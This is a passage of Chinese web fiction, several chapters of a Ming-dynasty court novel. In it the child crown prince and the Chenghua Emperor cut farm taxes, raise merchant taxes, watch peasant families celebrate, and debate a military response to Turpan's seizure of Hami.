朱佑棱小小人儿此时真的超级无奈,主要从来没有像现在这样深刻体会到,他的叔叔们个个都很奇葩。包括他小亲爹在内,其实也挺奇葩的。 朱见深的奇葩体现在于,他那无人能比的审美,而其他藩王们的奇葩点在于极品得千奇百怪。 “孤一岁半开始,就不尿床了。”朱佑棱突然感叹。“孤想八皇叔突然尿床,大概是睡前喝太多水了吧。” 朱见治:“” 他的确睡前喝了很多水,但是他硬汉baby,根本不睡粉红色床单。 再次想到这点,朱见治再一次恶狠狠的看向朱见沛。 “朱见沛,本王从今以后跟你势不两立。” 朱见治诅咒发誓,还表示如果不是哥哥们拉着,他非跳起来打爆朱见沛的狗头。 “今晚吃锅子如何?”朱见浚和朱见泽讨论起来。“就在过道那儿支起桌子,咱们一块儿吃。” “太子殿下你来吗?”朱见泽转而问朱佑棱。 朱佑棱点头,表示自己要来。 再次被无视的朱见治和朱见沛又吵不起来了,最后居然加入了吃锅子的谈论中。 仿佛先前的争论,只是错觉而已。 不过话说回来,朱见治和朱见沛感情的确好,哪怕真的绝交,大概也就绝交一天,到了第二天两人也就又和好了。现在两人和好的速度,其实还在其他人的预料中。 而不知不觉,时间过得超快。仿佛一晃神,就从白天转变为黑夜。朱佑棱在皇子所一起吃锅子,吃完之后,就被朱见泽挽留,让他在皇子所歇着就成。 朱佑棱摇头拒绝,还道。“明天还要上早朝呢,回安喜宫,明儿父皇上早朝,还可以顺便把孤带上。” 朱见泽:“行呗,那有空再来玩。” “六皇叔和七皇叔,不是很快要就藩了嘛。孤怎么常来玩?”朱佑棱顿了顿,还道。“孤和八皇叔、九皇叔三人凑不齐打马吊的。” 朱见泽:“还早呢,侧妃还没有过门。” 朱见浚也是同样一个意思,表示娶了侧妃后,他们才会前往封地就藩。 哦,对了,不止朱见泽的封地改了,就连朱见浚的封地也跟着一起改了。美其名曰,感情好久一起镇守苗疆和安南。 是的,朱见泽的封地在安南郡,而朱见浚的,哎,就在挨着安南郡的广西。 为了弥补他们俩,朱见深还特别有兄弟爱的划拨了大片土地,让他们兄弟俩自由开荒。 并且开荒所得税银,朱见深得分一半。 朱见泽和朱见浚都不知道怎么形容朱见深这个皇帝哥哥了,杀熟都不是这样杀的。 有那么一段时间,朱见浚甚至想收拾家当去找朱见潾,让他嫡亲的二哥养着他。 但可惜的是,还没有付出行动就夭折了,害得朱见浚长吁短叹,觉得自己被耽误了。 当然了,再抽风感叹,朱见浚和朱见泽都不敢与朱见深单挑,就怕遇到问题,他们俩就直接顶缸。 “哎,真不想娶侧妃。”朱见泽突然感慨道。 “不娶侧妃,只怕咱们两要成为历史上第一任封地在天涯海角,人却住在京师的藩王。” 朱见泽:“” “本王想了想,侧妃还要娶的。本王可不是怕亲娘的连环骚|扰,主要是想早点就藩,为皇兄的国库增长发挥才干。” 朱见浚:“” 这下子轮到朱见浚无语了。关键朱有棱打了个哈欠,表示自己困了,让朱见泽和朱见浚继续聊,就不需要送了。 说罢!铜钱不知道从哪里冒出来,直接背起朱佑棱,就出了皇子所直奔安喜宫。 用时不过几分钟而已,但朱佑棱被送回来时,已经睡着了。 万贞儿让铜钱直接将朱佑棱送回床上睡觉,她则坐在镜子前,开始细细描绘自己已经长出眼角纹的丹凤眼。 她比她的深郎大17岁。我生君未生,君生我已老。万贞儿念叨着,韶华易逝,倒没有几分失落,只有一分。 “看来得好好保养了。”万贞儿叹息,“不然如何陪深郎走到白头。” “汪太医上回制作的珍珠粉不错,明儿让小翠去给贞姐取回来。”朱见深冲着万贞儿傻乐呵。 “不管贞姐以后如何,都是朕的心头爱。” 万贞儿含笑的转过身子,看着穿着亵|衣的朱见深。 “是啊,都是万岁爷的心头爱。”万贞儿说着又取笑道。“那鹤归呢,就不能做万岁爷的心头爱?” “哪里呢!”朱见深抗议道。“别看朕时不时就要欺负一番鹤归。可是贞姐,朕和鹤归都玩得很愉快。” 万贞儿:“那就继续,反正鹤归读书后也懂事了不少,想来能看住深郎,不让深郎继续冒险。” 朱见深突然有些不服气。“哪里冒险了,贞姐朕” 万贞儿直接伸出纤纤玉手,将朱见深按倒。 “看来还是妾身太纵容深郎了,怎么能摘这种时候让深郎跟妾身辩解呢。” 万贞儿手指抵着红唇,笑得芳华夺目。 “妾身想给鹤归添哥弟弟妹妹,但妾身到底老了,自是不敢再生孩子。” “朕知道,只有鹤归一人足矣。”朱见深一把抓住万贞儿的手,表忠心道。“其他子嗣,由着其他人生。贞姐,你生鹤归时那么凶险,血水一盆接着一盆端出来,那时候朕真怕贞姐你丢下朕和鹤归不管,好在贞姐最终挺了过来。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第55章 第055章 万贞儿如今已经想不起自己…… 万贞儿如今已经想不起自己以前癫狂的模样。或许不是癫狂, 而是得知自己将要失去孩子,想要连同世界都一并儿毁去的绝望。 现在孩子健健康康的,又和她的小情郎感情深厚,哪还有想要将世界一并儿毁去的绝望。 期盼满满, 自然以往的戾气逐渐消弭, 看起来没有任何杀伤力。但只是表面上看起来的, 但内里还是原来的她。 “歇息吧深郎。”万贞儿及其主动, 摁倒朱见深后, 免不了一夜风流。 早上的时候, 朱见深难得起晚了, 带上朱佑棱前往金銮殿的时候, 天色已经大亮。 文武百官早已等候多时。朱见深和朱佑棱一来, 原本还算安静的金銮殿顿时变成菜市场。 你一句我一言,吵得十分的欢快。 朱见深就没有急着开腔,只是偶尔出声,颇有火上浇油的味儿。 朱佑棱端着小板凳坐着,脑袋呢, 望着天花板, 本来在期待会不会打起来。 然鹅没有,他们就是吵得欢乐,根本就没有挽袖子打一架的意思。朱佑棱有点儿失望, 这样的场面还不如昨儿朱见治和朱见沛吵架来得欢乐呢! 估计是因为朱见治和朱见沛是青葱少年郎,而现在的基本都是老登儿。 年轻的也有, 但五品及以上官员才有金銮殿参与早朝的资格,大多身居高位的官员,年龄都在三十加以上。 有好几位都是头花发白的老头子,他们是老老登儿, 更是吵架的主力选手。 ——到底在吵什么啊! 认真聆听了一会儿的朱佑棱又开始双眸呆滞的望着天花板。 ——为什么感觉自己语言匮乏,好多语汇都不懂。 ——啊,肯定不是我的锅,肯定是老登儿刻意的。 朱佑棱转而去瞅朱见深,没曾想朱见深看似走神,实则没有走神。注意到朱佑棱瞅他,还对着朱佑棱疯狂眨眼。 朱佑棱:“?” 不是,小亲爹,你居然在认真听呢! “行了,这里是金銮殿,不是菜市场。”朱见深开口,打断了大臣们的争论。 “朕只是让你们提提如何增加国库收入,你们就一个个的,吵得不可开交。还从昨儿吵到今儿,朕难以理解,难道朕提了很过分的要求。” “臣等惶恐。” “别说惶恐这词。”朱见深牙疼,无语的说。“你们一说惶恐,朕就开始惶恐。如今年景不好,一年接着一年,不是发生水患就是遭遇旱灾,你们仔细好好想想,这样的情况,朕能提高农税?” 朱佑棱深以为然的点头,还补充一句。“不止不能提高,还要减免农税。” “对。”朱见深肯定了儿子的说法,父子俩一唱一和的说话,又轮到朱见深说。 “是要减免农税。可减免农税,国库收入不可避免的减少,边关那边年年所需军饷数额庞大,朕实在烦忧。” 底下大臣们欲言又止,显然并不赞同减免农税。但此时的大明朝廷,并不像后期那边,皇帝对大臣没有一点威慑力。 大明后期朝政举步维艰,哪怕崇祯皇帝再勤勉,再朝夕令改又如何,他的很多命令,连中枢朝廷都出不了,自然到不了地方。 而此时,大明还算鼎盛之时,哪怕大明战神的骚操作,造成国家动荡,但随着时间流逝,也趋于平静。 如今正是吏治挺清明的时候,皇帝的命令,从中枢朝廷下达,会很快传达到地方。 当然了,由于信息的延迟性,还有‘天高皇帝远’的地方特色,导致即使有些命令传达到了,也会假装不知道,要吗办得敷衍,要吗根本不办。 这种情况,其实朱见深也清楚。但没有办法,身为皇帝,是没有多少自由的,最起码是不能随随便便的出宫搞什么微服出巡。 朱见深语气加重,“诸位爱卿,你们都是朕的股肱之臣,今日诸位爱卿就畅所欲言,放心,朕不是那种小心眼的人,不管诸位爱卿说什么,朕都虚心接受。” 文武大臣:“” 怎么说呢,话说得真好听,但是他们不敢信啊! 大臣们开始你看我我看你,都不约而同选择不说话。包括那几位老持稳重的内阁大臣,同样如此。 而作为内阁首辅,商辂此时的表现,就像在打瞌睡一样,显然并不打算开口。 而李贤呢,今日没来,单纯的身体抱恙,万安和彭时倒是在,不过他们俩之间的距离,可以放下一丈二的大床。 互相不看对方,一瞧就知道两人不对付。 怎么说呢,也不怪如此,彭时这人在历史上的名声不错,万安的话,历史上的名声很不好。 说他擅长权术,被讥为‘万岁阁老’,意思是指他很会喊‘皇上万岁’。 也是最年轻的内阁大臣之一,目前最突出的成就,大概就是教导太子读书。 在朱佑棱的印象中,万安也是最会说话的人。比其他内阁成员会说话多了,像商辂、彭时等人,或多或少带着读书人特有的矜持。 教导太子读书,从来都是照本宣科,从来不会像万安那般,偶尔还要和朱佑棱谈谈心。 当然了,所谓的谈心,其实大多数,算是朱佑棱在挖坑,不止埋了谈心之人,还把他自个儿埋了。 “鹤归,你认为如何?”见没有人出列说话,朱见深话锋一转,就问起了朱佑棱。 “农税减免可。”朱佑棱很给面子,当即脆生生的说。“至于增加国库收入,不妨从商税入手。” 农税都快到十税三了,凭啥商税居然才三十税一。 要吗将农税降到三十税一,要吗把商税提高到十税二。不然光靠农税,国库只会越来越微博。 老百姓有什么钱,商贾才有钱,关键商人缴纳的商税,还特么便宜。 朱佑棱越琢磨,越觉得不能便宜商贾。倒不是仇富,而是在朱佑棱看来,减少农税,才是维持一个国家的根基。只有老百姓安稳,衣食无忧了,国家才能安稳,反之 想到那群为了钱,从很早时候开始就私通倭寇、鞑子,传递中原讯息的商贾,朱佑棱就肝儿疼。 ——混账玩意儿,就该狠狠的收税,十税一都便宜你们了。 “殿下,这从商税入手,是不是有点”有官员实在忍不住开口说。“商贾本就位卑,除了有钱外” “你也说了,他们有钱。”朱佑棱冷着脸打断官员的话语,又道。“既然有钱,那就该为国库收入多多做贡献。别一天到晚盯着老百姓的口袋,地里刨食得老百姓能有几个钱。” 此话一出,商辂等人都不约而同的点头,显然认为朱佑棱说得对。 其实情况很简单明了,到这个份上开口阻止的,无非家里有做生意的,并且赚的还不少。 做个简单的算术。 一亩地出产500斤粮食,农税十税三的话,就是收取500斤粮食的百分之三十,也就是150斤粮食,折算成银钱,也不过一两银子左右。 而商人做生意,不说一季,但一日便可进斗金。说个粗浅的数字。今日某某布商卖进蚕丝,交由织女纺织成布。蚕丝成本加织女工资,不过一匹布一钱银子左右,纺织成布后,可买几两银子甚至几十两银子一匹。 除却成本,利润可达百分之百甚至百分之两三百。 可三十税一的商税,100两银子也就收三钱左右的税。而商贾一天何止才进账100两银子。 这就是士大夫们常说的‘商贱民贵’,朱佑棱小小的脑袋,硬是没有想到商人哪里轻贱,民又哪里贵重了。 难道现实不是反过来的? “父皇,你觉得商税改收十税一如何?”朱佑棱转而对朱见深说。“前两年清理两淮盐课,儿臣就对两淮盐商豪富印象深刻,听说两淮盐商最喜欢斗富。一顿午膳,就可花费上万银子。据说有位富商喜欢吃鱼唇,居然自创了一道百鱼唇烩,据说做这道菜需要用到上百条鲜鱼的鱼唇,并且这鱼必须是来自黄河的金红色大鲤鱼。” 朱见深认真的颔首。“没错,朕也听过。像朕一餐,也不过百两银子,而区区商贾,一餐居然要花费上万两银子。” 说到这儿时,已经杀气满溢。这一刻,属于老祖宗传下的‘仇富’精神,在这一刻熊熊燃烧。 “就按照太子所言,从今日起,商税改收十税一,农税改十五税一。” 农税十五税一? 朱佑棱微微琢磨,觉得倒也行。现在农税从十税三变成十五税一,未来就有机会变成三十税一,或者像后世那边,直接免了。 而商税十税一,没有达到朱佑棱心中预期,收20%至40%左右的商税(十税二或十税四),也算可以。朱佑棱勉强能接受,就点头高声赞同朱见深的决策,并赞美说:“父皇,你真是爱民如子的好皇帝。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第56章 第056章 朱见深如今称得上独断乾坤…… 朱见深如今称得上独断乾坤, 有的决策,即便群臣反对,朱见深也能一意孤行。何况提高商税,内阁成员们几乎都是赞成的, 唯一不赞成的, 也在其他人的赞成下选择跟从。 于是乎, 降低农税提高商税的决策, 就这样从中枢朝廷下达至地方。属于‘高额农税重灾区’的江南, 算是最先收到消息的。 江南自古以来, 都有‘鱼米之乡’的美称。说句不好听的, 国库至少三分之一的赋税收入, 都来源江南。 其他地方的赋税收入其实也可以, 但是吧,还是那句话,受小冰川时代的影响,导致气候变化无常,偏冷的同时还灾难频发。 像山西陕西一带, 时不时就会闹一回干旱, 而偏南方地区除却江南一带,时不时又要发生水患 旱灾还好,就是缺水, 不会并发一些灾难。可水患之后,必有鼠患瘟疫。每每发生水患, 朝廷上下的心就会咯噔一跳,就怕水患过后,鼠患瘟疫跟着一块儿报道。 前年干旱去年水患,今年的话, 嗯,挺风平浪静的。但是冷得早,几乎刚进入十月,天气一下子就变寒凉了。也就是这个时候,江南一带收到了减少农税提高商税的政策。 王县令收到消息后不敢置信,将那府城加急送来的邸报,反反复复看了三遍。 他年近四十,在吴江县当了五年县令,自认对朝廷政令也算熟悉,可眼前这条政令,还是让他惊得半晌回不过神。 “减减农税?提提高商税?” 他喃喃自语,几乎怀疑自己是不是看花了眼,或者这邸报是哪个胆大包天的家伙伪造的。可那朱红的官印,分明做不得假。 “老爷,这消息嘶,可确实?”一旁的师爷凑过来,也是满脸难以置信。 “农税乃是国之根本,这如何能削减。” 在师爷看来,江南虽是鱼米之乡,但田赋历来沉重,如今竟要削减?而商税,虽说近年来商贸繁盛,可朝廷向来秉持“重农抑商”之策,怎会突然提高 “白纸黑字,朝廷明发,岂能有假?” 王县令将邸报递给师爷,自己则站起身,在狭窄的书房里踱起步子,眉头紧锁。 “赵师爷你说,本官该如何执行这样的政令。” 王县令忧心忡忡,不是他不愿意按照政令说的那样做,而是商贾之流不好对付。 “农税削减倒也罢了,需要缴纳农税的百姓一听削减农税,必然欣喜若狂,可是这提高商税。从三十税一变成十税一,商贾必定不满,容易引发暴动啊!” “老爷思虑过甚了。”师爷倒是持有不同的意见。“老爷这普天之下,是百姓多,还是商贾多?商贾之辈除了有钱外,可什么都没有。赵某相信,即便商贾暴动,朝廷也能轻轻松松镇压。” 说到最后,赵师爷还提醒了王县令一句。 “莫非老爷没注意,送来府城邸报的可是锦衣卫。” “嘶!” 王县令一时激动,差点将自己的胡子给扯掉了,不过倒也因此松了一口气,当即就下令将‘削减农税提高商税’的政令,让师爷等人抄录几份,招贴在城里的告示牌上。 很快,随着政令的张贴,‘削减农税,提高商税’的消息,像长了翅膀一样飞散开来。 吴江县当地的农户,他们的反应最为直接。 几个正在县衙门口纳粮的老农,从衙役口中听到零星消息,起初以为是听错了。 “减税?官爷,您莫要寻我们开心?” 当确认消息属实后,老农皱纹遍布的脸上先是茫然,随即爆发出巨大的惊喜。 “苍天有眼!苍天有眼啊!” 一位头发花白的老农直接跪在了地上,朝着北方京城的方向连连磕头。 “皇上圣明!皇上圣明啊!今年终于能多给家里扯几尺布,给娃儿买点肉吃了!” 赋税减轻,意味着他们辛苦一年,终于能多剩下几斗米。日子也能过得稍微宽松些。 这是最朴实的喜悦,不止率先得知消息的几位老农有,就连围在城门口方向公示牌的百姓们,听到读书人将‘削减农税提高商税’的政令读出来的时候,全都欣喜若狂。有的甚至还嚷嚷起来,说要给当今皇帝立长生牌位。 而底层小吏和普通读书人则心情复杂。就连在各处张贴政令的差役们,都聚在一块儿窃窃私语。 “减了农税,朝廷收入从何而来?莫非是要加咱们的俸禄?” “做梦吧!没听说要提高商税吗?以后怕是要咱们紧盯着那些商贾了,这差事难说咯。” “应该不会吧!” “难说难说。” “重农抑商,乃祖宗成法,圣人之训。如今提高商税,岂非是与民争利,助长逐利之风?长此以往,人心不古,国将不国啊!” 一些在茶楼酒肆清谈的秀才、童生们,则纷纷摇头晃脑。他们引经据典,对这项政策表示忧虑,认为这是舍本逐末。 可惜,他们只剩下那张嘴说说,并且他们发表的言论,根本入不了亲自下达‘削减农税提高商税’政令的朱见深耳朵里。 而且——说句不好听的,要是他们言辞再过激一点,监视地方的卫所锦衣卫,大概会将他们抓起来,直接投入大牢。 大明是没有文字狱,但是吧,你不能公开诋毁一国之君啊! 所幸这些喜欢在茶楼酒肆清谈的秀才童生们,言辞并不激烈,表现得也挺忧国忧民的,暗中待在角落吃茶的卫所锦衣卫也就没有上纲上线,将他们给抓了。 很快夜幕初垂,炊烟袅袅。吴江县管辖范围内的一处面积不算大的小山村。 村东头的陈老汉家,难得的点起了油灯。油灯光线昏黄,却映得一家人的脸上都有了光彩。 陈老汉蹲在门槛上,吧嗒吧嗒地抽着旱烟,布满沟壑的脸上是掩不住的喜意。他的儿子,刚从县城打听消息回来,一进院门就迫不及待的扯着嗓子说话。 “爹!娘!秀儿!消息是真的!县衙门口贴了告示,白纸黑字,明年开始,咱家的田赋,每亩至少能减一斗粮呢!” “当真?!”陈老汉猛地站起来,烟杆都差点掉地上。 “减一斗?”在灶台边忙碌的老伴陈王氏手一抖,锅铲磕在锅沿上,发出清脆的响声。 陈王氏已经顾不上这了,直接喊起秀儿。儿媳妇秀儿立马从房间里出来,脸上都是毫无遮掩的喜意。 “千真万确!”陈大壮灌了一大碗凉水,抹了把嘴,兴奋地说:“我亲眼看见的!衙门的书吏还在那儿念呢,说是皇上的恩典,想着年景不好,所以体恤咱们地里刨食的。” “阿弥陀佛!佛祖保佑!皇上万岁!” 陈王氏双手合十,对着北方连连作揖,眼眶都有些湿润了。 “一斗粮啊,咱家十亩水田,那就是十斗,整整一石粮啊!”一石粮,够他们一家四口紧巴点吃上一个月了。 “娘,算错了,不止多一斗粮。”秀儿同样很是高兴的说。“以前的税可是十税三。咱们地里出产的粮食,得交三成作为田税。如今只需要加纳一成,多出的二成粮食,可不止每亩多出一斗粮。” 这时候收税,其实都是收上来的,都是杂七杂八的东西。像水田种稻米,稻米成熟收获后,缴纳的农税便是稻米,如果种植桑麻,那么缴纳农税的便是桑麻。 一般情况下,除却粮食外,其他缴纳的‘田野收获’都会按照市价卖给皇商,兑换成银两或铜钱,好方便统一管理。 至于商税,其实最简单最好收取,免除兑换环节的税收便是商税,商贾都有钱,一般缴纳商税的话,都是直接给银两,免了兑换环节,也就免了在允许范围内‘兑换银两’所引发的损耗。 是的,每年收农税都会有一定损耗。而则损耗,一般都会有允许的范围。 也就是说,实际进入国库的税银,要比实际收取的税银要少。而这,其实都是公认,却默契不谈的事实。很难说,某些官员反对削减农税提高商税,是因为一旦削减农税,会导致‘兑换银两’时的损耗减少,而底层的官吏们,也少了一项收入。 这些内里的弯弯绕绕,可不是区区农家人能理解的,陈老汉一家,高兴的是家里能多点粮食。 这不,秀儿已经开始高兴的计划道。“娘,这下好了!明年开春,咱家就能多买两只猪崽,等养肥了卖了钱,说不定还能给大壮扯身新衣裳,他出去帮工也体面些。” 她说着,嗔怪地看了一眼丈夫。丈夫身上还穿着那件洗得发白,打了好几个补丁的短褂,整个人显得笨拙而憨厚。 陈大壮憨厚地挠挠头:“给我买啥,先给爹娘和娃扯布才是正经。” 他们夫妻有个五岁的儿子狗娃,目前正蹲在院子里用尿和泥巴玩。 陈老汉重新开始抽烟,神色却明显轻松很多。 “爹琢磨着,剩下这粮,除了买猪崽,还能把咱家那漏雨的厢房修修。再有余钱,就给狗娃攒着,将来送他去村塾认几个字,不求他考状元,至少别像咱爷俩,一辈子睁眼瞎,大字都不认识几个。” “皇帝家的儿子,不也有不读书的。”陈大壮突然道,直接被陈老汉狠狠瞪了眼睛。 “谁告诉你的,皇帝的儿子即使不读书,一辈子也是穿金戴银,山珍海味都得吃腻。咱们要是天天穿金戴银,天天吃山珍海味,即使不读书也没什么。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第57章 第057章 陈王氏却有些迟疑,供…… 陈王氏却有些迟疑, 供孩子读书,那可是想都不敢想的事。“要不然再等等!” “什么再等等”陈老汉语气坚定了几分,“咱娃咋就不能有点出息?认字总比不认字强,不需要等, 只要能有余钱, 就送狗娃去私塾读书。” “对了, 告示还说, 要加收商税。”陈大壮憨笑过后, 又道。“看着吧, 以后那些开铺子做大生意的商人老爷, 交的税钱要比以前多很多了。” “加商税?”陈老汉愣了一下, 随即摆摆手, “加就加呗,跟咱有啥关系?那些商人老爷,一个个穿绸裹缎,吃的油光满面,多交点税也是应该的!总不能光减咱们的, 不加他们的, 不然朝廷哪来的钱给官老爷发俸禄,给边关将士发饷?” “爹,话是这么说。可那些开布庄、米铺的, 要是税交多了,他们会不会把价钱涨上来?咱买布买米, 不就得花更多钱了?” 秀儿到底是女子,心思细腻,而且她的猜测也是十分的合理。就商贾的奸诈程度来看,朝廷这边提高商税, 商人所获得的利益减少,为了获取和以往相同的利润,就会提高售价。 这一招后世的商人,几乎用烂了。没道理古代的商贾,就不会这样搞。 不是可能会这样搞,而是绝对会。 陈老汉一家明显也对他们镇上的商贾秉性不太信任。听秀儿这么说,陈王氏急急忙忙也道。 “是啊,秀儿说得在理。可别到头来,田赋减的那点钱,还不够买米买布涨价的。” 陈大壮皱起眉头想了想,然后说道:“我回来时听码头上的人闲聊,说朝廷这回是动了真格的,不光加税,还要严查那些奸商做假账逃税。要是真能把他们以前逃的税都收上来,朝廷钱够了,说不定就不用涨物价了。再说了,咱粮食多了,自己吃不完的拿去卖,价钱说不定还能便宜点。” 陈老汉:“大壮说得对!朝廷既然下了旨意,肯定有朝廷的道理。咱们庄户人,管不了那么多,能把地种好,多打粮食,比啥都强!就算东西真涨点价,咱手里多了一石粮,心里也踏实!总比以前,辛辛苦苦干一年,交了税所剩无几,看着那些商人发财,只能干瞪眼强!” “他爹说得是!”陈王氏重新露出了笑容,“日子总归是比以前有盼头了!快,吃饭吃饭,今天烙了白面饼子,庆祝庆祝!” 油灯下,一家人围坐在简陋的木桌旁,吃着难得的白面饼子就咸菜,讨论着明年的打算,猪崽在哪里买划算,修房子要请哪个瓦匠,讨论得不亦乐乎,全是对未来的憧憬。 对他们来说,减少农税,每亩能多存留一些粮食的消息,比什么都重要。至于增加商税,可能引发的上层博弈和暗流涌动,都与他们无关。 不过有一点说对了,对于‘削减农税提高商税’ 反应最激烈的,就是商贾阶层。 吴江县这地方,地处运河要冲,因此商贸发达,城内大大小小的商号林立。 有专门走北往南贩卖布匹的,更有喜欢往塞外跑的茶商。前者布商生意还行,后者嘛,前两年清理两淮盐课的时候,不止盐商遭殃,就连同样喜欢往塞外那边跑的商人,不限于茶商,都收到波及。 那时候两淮地区的菜市场,每天都要清洗一遍。陆陆续续为安南郡那边的种田大业输送了不少开荒工具人。 换句话说,江南一带特别是两淮地区,商贾已经被清理了一遍,如今距离不过两年光阴,就算对‘削减农税提高商税’产生极大的不满,他们也不敢反抗朝廷。 王县令害怕商贾因为不满发生暴动的事情,根本不可能发生。当然了,联名向官府请愿,说商税过重,必然导致物价上涨,最终苦的还是百姓的话! 京师一带倒还好,毕竟国之首都,‘削减农税,提高商税’的政令,是最先传达的地方。 百姓们对此反应普遍和号称鱼米之乡的江南一带保持一致,而商贾们 连屁都不敢轻易的放。 至于趁机涨价,哄抬市价,刚有个苗头,就被佩戴绣春刀的锦衣卫抓了,直接投入大牢,之后抄家流放一条龙,连水花都没有冒。 而且不止京师一带,其他地区包括江南一带,对企图趁机涨价哄抬市价的商贾,卫所的千户百户们根本就不讲究证据,直接就抓起来。 如此强硬的态度,本就地位最低,尚且需要花费大量金钱,才能打通关系的商贾,哪里还敢有什么异议。毕竟有异议的,全部都被投入大牢,喜提抄家流放一条龙服务。 这样惨烈的背景烘托,采取观望态度才走运‘剩’下来的大小商贾,怎么敢有异议。 是嫌弃锦衣卫的绣春刀不快,还是嫌弃菜市场斩首的地方太过脏乱差? 反正很多人设想下的商贾之流关于‘削减农税提高商税’一事大闹,造成朝野动荡一事儿,根本就没有发生。或者说,刚刚有苗头,就被高强度的镇压。 而让各地锦衣卫密切监视,只要有闹事苗头就强势镇压的命令,可不是朱佑棱坏心眼的建议。而是 老朱家的基因,或多或少都带点仇富。商人是他们最针对的团体,但是吧,不知道是不是被针对惯了,还是为了更伟大的利益。大明后期的商人,宁愿去给鞑子当狗,都不愿意在大明当人。 朱见深呢,对商贾之流的态度,其实挺平淡的。但他算是了解商贾之流贪婪的本性,提高商税,必然让他们的利益受损。而利益受损,商贾之流为了让利益变回原来的数量,有的会采取常规手段,有的则会不走寻常路,找些歪门邪道儿路子走 要相信他们的下限,哄抬物价,造成市场动荡不是他们提高利益的唯一办法,朱见深哪怕不了解,但身边还有堪称贤内助的万贞儿在,朱见深想不到的,万贞儿都会想办法的补漏。 帝妃二人配合默契,以雷霆手段,将‘削减农税、提高商税’可能产生的负面影响全部镇压,一时间只闻农户们高兴且喜悦的声音。 很快冬去秋来,又是一年春。 成化八年算是多事之年。刚入春,安南郡那边就传来消息,说是原安南王黎灏不服大明朝廷,欲出兵反叛,被镇守安南郡的指挥使下令射杀。 到了二月,大明驻哈密卫都督府传来消息称,土鲁番首领阿力欲派兵攻打哈密卫。 历史上,土鲁番首领阿力在成化八年(公元1472年),首次攻占哈密城,并俘虏哈密忠顺王。 这事儿在三月的时候,同样爆发了。接到八百里加急的军情后,顿时朝廷上下震怒。 哈密卫可是明朝在西域设立的第一个卫所,意义重大,被视为西域之襟喉,是丝绸之路的重要枢纽之一。 如今被反叛势力窥探,还一而再的入侵,并且俘虏哈密忠顺王,如何不让朝野上下生气。 内阁大臣们,直接敕令斥责、以削减贸易威胁,责令土鲁番首领阿力撤出哈密卫,然鹅没有效果! 仿佛被敕令斥责的对象没有收到似的,一点回应都没有给。 朱见深险些气炸肝儿,下了早朝对着心爱的万姐姐,依然怒气勃然。 “那藩子当真欺人太甚。” “深郎莫生气。”万贞儿亲自倒了一杯茶水,递到朱见深的手中,“既然不听敕令,那就出兵远征,将那反叛者杀了以儆效尤。” 朱见深接过茶杯,也没心思喝,直接拿着,将茶杯往桌上重重一放,顿时茶水都溅了出来。 “朕倒是想出兵。”朱见深咬牙,挺生气的说。“贞姐,你是不知道,朕一提用兵,底下那些大臣,十个有八个跳出来反对!不是说什么‘劳师远征,耗费钱粮’,就是‘哈密偏远,得之无益,弃之无损’!一个个说得冠冕堂皇,好像朕是个穷兵黩武的昏君似的!” 朱佑棱刚端着一碗银耳莲子羹准备吃,就被朱见深的大嗓门震得耳朵疼。 朱佑棱揉揉耳朵,“父皇啊,小声一点,孤是你儿子,娘亲是你心爱的贞姐,父皇你要大声吼,就去外边。” 朱见深:“你这兔崽子怎么说话的。” “父皇,我知道你想说什么。”朱佑棱口齿伶俐的道。“不是早就知道了嘛,那些家伙,只会在在朝堂上耍嘴皮子!有时候明明很期待他们打起来,偏偏就不打。” 说到这儿,朱佑棱还装模作样的长吁短叹一番。 “父皇你该这样骂,那土鲁番的阿力,都把刀架到咱们脖子上了!今天敢占哈密,俘虏忠顺王,明天就敢窥伺嘉峪关!这帮书呆子,懂个屁!” “鹤归,不许说脏话。”万贞儿提醒道。 “哦,好哒娘亲,儿子吃银耳莲子羹。” 朱佑棱果断闭嘴,不再添油加醋,火上浇油。 万贞儿走到朱见深身后,轻轻替他揉着太阳穴,声音依旧柔缓,话却带着狠劲儿。 “深郎,你是皇帝,金口玉言。他们反对,是他们鼠目寸光。我知道的,你咽不下被冒犯的气。” “也是!这口气要是咽下去了,往后西北那些部落,谁还把大明放在眼里。都会觉得咱们好欺负,今天你抢一块,明天他占一点,这万里江山还要不要了。” “贞姐,还是你懂朕。”朱见深眼泪汪汪的看着万贞儿道。“朕知道的,这事儿就不能软。既然下了敕令不听,那朕就要动真格的。” 万贞儿轻轻颔首,又道。“深郎既然想得明白,那就行了。咱们挑挑几员能打的将领,派一支精兵过去。咱们不打则已,要打就得把那个阿力打疼、打怕,让所有人都看看,违背大明皇帝的命令,是什么下场!” “贞姐,还是你懂朕。朕何尝不想打?只是国库不宽裕,兵部那边也总说准备不足。” 朱见深抓住万贞儿的手,叹了口气,“路途遥远、补给困难,想要出兵难啊。” “没有条件那就创造条件。”朱佑棱又开始插言,不算很客气的说。“父皇再上早朝的时候,就问一问他们,知不知道哈密卫代表什么。” 朱见深沉思起来。 “国库再紧,也不能省略这笔粮草!”朱佑棱很是认真的说。“哈密卫乃西域之襟喉,弃而不救的话,就不怕赤斤蒙古(今甘肃玉门西)、罕东(今甘肃敦煌)等卫,亦被所胁,从而酿成边患!” 朱佑棱的话,算是站在军事角度来讲的。 唇寒齿亡! 朱佑棱一直相信这个成语。 哈密卫是西域之襟喉,失去他的结果不难想象,代表大明逐渐失去对西域的控制权。 现在很多官员看不到这一点,他们看到的是,哈密孤悬塞外,劳师远征耗费巨大,还不如固守嘉峪关。 即便以‘哈密卫是祖宗基业,不可放弃,否则有损国威’为由,强烈要求出兵,大概结果也会不尽人意。 不过朱佑棱并不会说这样的话,按照他的想法,反正该打就打。补给困难,那就以战养战。 可惜啊,现在的战役,大多给人的印象依然是劳民伤财。如何以战养战,说老实话,大明军队还没怎么系统性的了解过。 “父皇来喝茶。等明日,不对,后天上早朝的时候,咱们父子俩一起好好问问他们。问问他们,到底想要如何。” 朱见深听到这儿,下意识的点头。 而万贞儿则是露出舒朗的微笑,招来伺候的宫人,让将小厨房炖煮的羹汤端上来。 小厨房的火一直不灭,从早上开始,就一直小火慢慢煨着一盅人参鸡汤。 那人参年份不大,也就十几年左右。那鸡则是养了一年半,肉质老练的老母鸡。 一般炖了汤,肉不吃,那汤却是要喝的。 不过朱佑棱不一样,他就喜欢吃人参鸡汤里的老母鸡。就和后世一般喜欢吃广式白切鸡一个道理,朱佑棱就喜欢它的口感。 于是乎,一盅人参鸡汤端上好了,万贞儿和朱见深只喝汤,而朱佑棱呢,汤要喝,里面的老母鸡要吃,就连那十几年的小人参,朱佑棱也嚼吧嚼吧,当菜一样吞了。 